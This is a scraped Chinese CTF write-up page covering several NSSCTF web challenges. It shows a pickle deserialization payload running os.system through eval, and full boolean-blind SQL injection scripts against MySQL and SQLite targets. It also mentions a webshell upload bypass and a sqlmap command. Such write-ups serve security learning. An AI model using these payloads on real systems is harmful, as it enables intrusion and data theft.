NSSCTF第13页(3)

[FSCTF 2023]巴巴托斯!

看见个输入路径,打了半天没进去,php伪协议也打不进去,

用dirsearch扫一下

看了半天才看出来,那串英文

Access Denied! I love FSCTF Browser

是要用FSCTF浏览器,改一下ua头就行了

说不是本地,referer输入127.0.0.1

发现没回显,用php伪协议来读取

成功读取,得到flag

 [SWPUCTF 2022 新生赛]file_master

限制了文件类型,只能传jpg类型,抓包改包

类型长宽必须小于20

还是第一次遇到这种题,可以直接定义长宽的值为1

#define hight 1

#define width 1

发现还是不行

可能是对php头进行了检测,修改一下一句话木马

成功绕过

ls /

cat /flag

[HZNUCTF 2023 preliminary]pickle 

代码审计

放到皮查姆里边看看,利用ctrl+alt+L规格化代码

gpt解释

去查了一下才知道pickle是python中的反序列化函数

python pickle模块常见函数_pickle函数-CSDN博客

Python 序列化 pickle 模块_pickle序列化-CSDN博客

第一次见python反序列化的题

 NSSCTF-[HZNUCTF 2023 preliminary]-web-CSDN博客

发现有两个网页但是访问不进去

根据这篇博客进行的复现,主要是在函数的理解以及脚本的编写上

import pickle  
import base64  class rayi(object):  
def __reduce__(self):  
#return eval,("__import__('o'+'s').system('ls / | tee a')",)  
return eval,("__import__('o'+'s').system('env | tee a')",)  a=rayi()  
print(pickle.dumps(a))  
print(base64.b64encode(pickle.dumps(a)))

 

得到flag文件是在.sh文件里

查看环境变量得到flag

本题重点:

python代码里先进行return以覆盖下一个return的返回值。所以本题可以让反序列化之后的值先进行return的操作

python中,os就是可以调用system的函数:

os模块负责程序与操作系统的交互,提供了访问操作系统底层的接口;即os模块提供了非常丰富的方法用来处理文件和目录。

所以os.system('ls /')也是可以读取根目录的。但是由于eval函数没有回显,所以用tee将内容复制到a.txt,然后再用/readFile函数读取文件就可以了。
 

[WUSTCTF 2020]颜值成绩查询 

输入1有固定回显,输入2-4发现有乱码,输入5发现用户不存在,输入其他特殊字符无回显,也无报错回显

利用大佬的二分法脚本

利用的时候只需要改一下url和success_message,基本通用的脚本

import timeimport requestsSuccess_message = "Hi"
#使用时改一下Success_message、url!!!!!!!!!!!!!!!!!!!!!!def database_name():db_name = ''for i in range(1, 10):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload = url + "?stunum=(ascii(substr(database(), %d, 1)) > %d)" % (i, mid)res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breakdb_name += chr(mid)print("数据库名: " + db_name)return db_namedef table_name():name = ''for j in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload = url + '?stunum=(ascii(substr((select(group_concat(table_name))from(' \'information_schema.tables)where(table_schema=database())), %d, 1)) > %d)' % (j, mid)time.sleep(0.2)res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breakname += chr(mid)print("表名: " + name)table_list = name.split(",")for tab_name in table_list:column_name(tab_name)def column_name(tab_name):name = ''for j in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload = url + '?stunum=(ascii(substr((select(group_concat(column_name))from(' \'information_schema.columns)where(table_name="%s")and(table_schema=database())), %d, ' \'1)) > %d)' % (tab_name, j, mid)time.sleep(0.2)res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breakname += chr(mid)print(("%s表的字段名: " + name) % tab_name)column_list = name.split(",")for col_name in column_list:get_data(tab_name, col_name)def get_data(tab_name, col_name):data = ''for i in range(1, 100):begin = 32end = 126mid = (begin + end) // 2while begin < end:payload = url + '?stunum=(ascii(substr((select(%s)from(%s)),%d,1)) > %d)' % (col_name, tab_name, i, mid)time.sleep(0.2)res = requests.get(payload)if Success_message in res.text:begin = mid + 1else:end = midmid = (begin + end) // 2if mid == 32:print()breakdata += chr(mid)print(("%s表的%s字段数据: " + data) % (tab_name, col_name))if __name__ == '__main__':url = input("请输入url:")database_name()table_name()

大佬博客:

[WUSTCTF2020]颜值成绩查询_Tajang的博客-CSDN博客

 得到flag

[NSSRound#1 Basic]sql_by_sql

先随便注册一个用户,进到页面里

在修改密码页面的源代码处看到提示

所以注册用户admin'--并修改密码就可以登录admin,在home页面的查询有两种回显,exist或no user,显然是布尔盲注,需要注意的是数据库是sqlite,查询语句不太一样。 

SQLite数据库介绍与使用-CSDN博客 

SQLite中有一个类似information_schema功能的表sqlite_master
 
其中有五个字段
 
    type:记录项目的类型,如table、index、view、trigger
 
    name:记录项目的名称,如表名、索引名等
 
    tbl_name:记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身
 
    rootpage:记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL
 
    sql:记录创建该项目的SQL语句 

之前做过一道题,就是利用二次注入拿权限然后得flag,这道题开始的做法和那道题类似

先注册一个admin'--+ 因为admin'#报错了,用这个注册的admin来覆盖之前的那个admin

通过修改密码,把admin的密码改掉,然后再进行登录admin,发现成功登录

输入id查询发现回显不是no user 就是exist

 还发现一个post请求的url路径,cooike里有一个session值

附脚本给大家 session值也要记得改

# python sqlmap.py -u "http://node4.anna.nssctf.cn:28735/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZPHIxA.lAQc_M-IaV4V6i6T9b7Wwks4sic" -T flag -C flag --dump --level 3
import requests
import time
import stringstr = string.ascii_letters + string.digits + "{}|-~,"
# print(str)
print(string.printable)
url = "http://node4.anna.nssctf.cn:28682/query"
s = requests.session()
flag = ""
headers = {'Cookie': "session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZWbD1g.RMAlNj04CYQl5Z18DImPWi4Tgto"}for i in range(0, 100):for x in str:data = {# 'id': "1 and substr((select name from sqlite_master where type='table' limit {},1),1,1)='{}'".format(i,x),'id': "1 and substr((select flag from flag limit 0,1),{},1)='{}'".format(i, x)}res = s.post(url=url, data=data,headers=headers)# print(data)# print(res.status_code)# time.sleep(0.1)if "exist" in res.text:flag += xprint(flag)breakif chr == '%':break
# select flag from flag 获得flag
# select sql from sqlite_master where type='table' and name='flag'爆列

 得到flag

 

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/229722.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

创纪云助力客服系统:通过API和无代码开发实现与电商平台的智能集成

无缝连接电商和客服系统&#xff1a;管家婆的无代码开发解决方案 在电子商务和客户服务日新月异的发展中&#xff0c;企业面临着如何提高效率和客户满意度的挑战。江苏创纪云网络科技有限公司&#xff08;INNOVATION ERA&#xff09;推出了一款无需API开发的解决方案&#xff…

Springboot的excel导出

这里导出excel用到的是 阿里巴巴的easyexcel 1、首先导入依赖 <!--alibaba easyexcel--><dependency><groupId>com.alibaba</groupId><artifactId>easyexcel</artifactId><version>2.1.6</version> </dependency> 2、…

灰度发布专题---4、APP灰度发布

APP如何灰度发布 我们前面讲解了配置文件灰度发布、IP切流、静态页灰度发布&#xff0c;但如果是APP该如何灰度发布呢&#xff1f;APP的灰度发布比较简单&#xff0c;也比较传统&#xff0c;不像我们其他程序能完全自动化操作。 APP灰度发布流程 上面这张图是灰度发布流程图&…

Python爬虫遇到重定向URL问题时如何解决?

什么是重定向 重定向是指当用户请求一个URL时&#xff0c;服务器返回一个中断请求的URL的响应。这种情况通常发生在网站对URL进行了修改或者重定向到其他页面的情况下。其中&#xff0c;如果处理不当开发&#xff0c;可能会导致爬虫无法获取所需的数据&#xff0c;从而影响爬虫…

Python编程基础:数据类型和运算符解析

想要学习Python编程语言&#xff1f;本文将为您介绍Python中常见的数据类型和运算符&#xff0c;为您打下坚实的编程基础。了解不同的数据类型和运算符&#xff0c;掌握它们之间的配合方式&#xff0c;让您能够更轻松地进行数据处理和计算任务。无论您是初学者还是有一定经验的…

Sui主网升级至V1.14.2版本

Sui主网现已升级至V1.14.2版本&#xff0c;同时Sui协议升级至31版本。其他升级要点如下所示&#xff1a; #14875: [修复] 为所有权限设置共识度量值。 #14811: [Narwhal] 改进每个权限的共识信息度量的可用性。 完整变更日志&#xff1a;Release mainnet-v1.14.2 MystenL…

linux命令解析神器

遥想刚迈入职场时&#xff08;当时的工作环境&#xff0c;需要频繁使用linux&#xff0c;登录设备后台操作&#xff09;&#xff0c;偶然间听到我的领导和其他同事说 &#xff1a;“XXX&#xff0c;多学一学。大佬们太厉害了&#xff0c;太低级的问题不要直接问&#xff0c;你登…

图像异常检测研究现状综述

论文标题&#xff1a;图像异常检测研究现状综述 作者&#xff1a;吕承侃 1, 2 沈 飞 1, 2, 3 张正涛 1, 2, 3 张 峰 1, 2, 3 发表日期&#xff1a;2022年6月 阅读日期 &#xff1a;2023年11月28 研究背景&#xff1a; 图像异常检测是计算机视觉领域的一个热门研究课题, 其目…

面试篇之微服务(二)

目录 服务容灾 21.什么是服务雪崩&#xff1f; 22.什么是服务熔断&#xff1f;什么是服务降级&#xff1f; 什么是服务熔断&#xff1f; 什么是服务降级&#xff1f; 有哪些熔断降级方案实现&#xff1f; 23.Hystrix怎么实现服务容错&#xff1f; 24.Sentinel怎么实现限…

清理docker Build Cache缓存文件

使用docker构建镜像&#xff0c;发现docker的overlay2文件会越来越大。 使用命令查看docker系统占用资源&#xff1a; docker system df 可以看到已经占用了26.7GB&#xff0c;清理这个缓存 docker builder prune 再次查看&#xff0c;已经没有缓存了&#xff0c;清理成功。 …

电脑开机提示“未正确启动”怎么办?

有时我们在打开电脑时&#xff0c;会出现蓝屏&#xff0c;并提示“电脑未正确启动”&#xff0c;那么&#xff0c;这该怎么办呢&#xff1f;下面我们就来了解一下。 方法一&#xff1a;执行系统还原 我们在上文中提到了Windows无法正确启动的问题可能是由于三方程序或者近期的…

三、详解桶排序以及排序内容大总结

详解桶排序以及排序内容大总结 文章目录 详解桶排序以及排序内容大总结堆堆的操作(大)heapinsert --- 调整成大根堆heapify --- 移除原根节点后&#xff0c;继续调整成大根堆堆中某个位置的数值发生改变 堆排序优化 堆练习比较器桶排序基数排序 堆 注&#xff1a;堆是一种特殊…